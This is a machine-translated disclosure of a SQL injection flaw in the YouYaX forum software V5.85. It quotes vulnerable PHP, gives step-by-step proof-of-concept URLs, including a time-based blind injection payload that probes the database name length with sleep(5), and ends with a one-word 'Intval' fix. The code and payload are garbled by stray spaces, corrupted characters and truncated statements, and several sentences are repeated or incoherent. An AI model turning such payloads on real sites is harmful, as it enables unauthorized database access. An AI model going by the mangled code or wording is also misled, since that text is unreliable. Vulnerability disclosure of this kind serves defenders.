Youyax latest version (V5.85) injects one

Youyax latest version (V5.85) injects one

 

View File/Lib/BidAction. php Lines 13-35

Public function accept () {$ id = getparam ("id"); $ id2 = getparam ("id2 "); $ reply = $ this-> find (C ('db _ prefix '). "reply", "string", "id2 = '". $ id2. "'and rid = '". $ id. "'"); if ($ reply) {$ talk = $ this-> find (C ('db _ prefix '). "talk", "string", "id = '". $ id. "'"); if ($ talk) {if ($ talk ['zuozhe'] ==$ _ SESSION ['youyax _ user']) & ($ talk ['is _ question '] = 1) {mysql_query ("update ". C ('db _ prefix '). "reply set content1 = CONCAT ('<div style = \' border: 1px solid # ff999a; background: # fbeded; padding: 10px; \ '> 




Note:

Mysql_query ("update ". C ('db _ prefix '). "reply set content1 = CONCAT ('<div style = \' border: 1px solid # ff999a; background: # fbeded; padding: 10px; \ '> 
 


mysql_query("update " . C('db_prefix') . "talk set lock_status=1 where id=$id");


It can be seen that the two parameters id and id2 are directly brought into the update without filtering.

Then we will analyze how to achieve this

Read this sentence

If ($ talk ['zuozhes'] == _ SESSION ['youyax _ user']) & ($ talk ['is _ question '] = 1 ))


If the author in the above talk table is the same person as the current session author, and the post must be a question post, is_question is used to determine whether it is a question post.
View usage,

Register a number first. Publish a question post
 



Then write down the id of the current post, which is 4
 



Reply one by yourself and write down the reply id. How can this problem be found? Move the mouse to edit and you will be able to understand it.
 



Current is 5.

After reading the database structure, the id in the source code is passed to the rid, that is, the post id, so id = 4

Id of the reply to id2, that is, 5

Access http: // 127.0.0.1/YouYaX/index. php/bid/accept/id/4/id2/5.html

Currently, both parameters can be injected.
 

 

2: 02 update youyax_reply set content1 = CONCAT ('<div style = \' border: 1px solid # ff999a; background: # fbeded; padding: 10px; \ '> 


Blind note if there is no echo,

Http: // 127.0.0.1/YouYaX/index. php/bid/accept/id/4/id2/5 AND 1111 = IF (select length(database(%%%%%2%, sleep(5%,11%.html
 



If the guess is correct, the browser returns the page in 5 seconds. If the length is incorrect, the browser returns the page directly.

If the guess is correct, the page returns the correct result. If the guess is wrong, the answer will be one more. See the figure.
 


 


 
Solution:
Intval.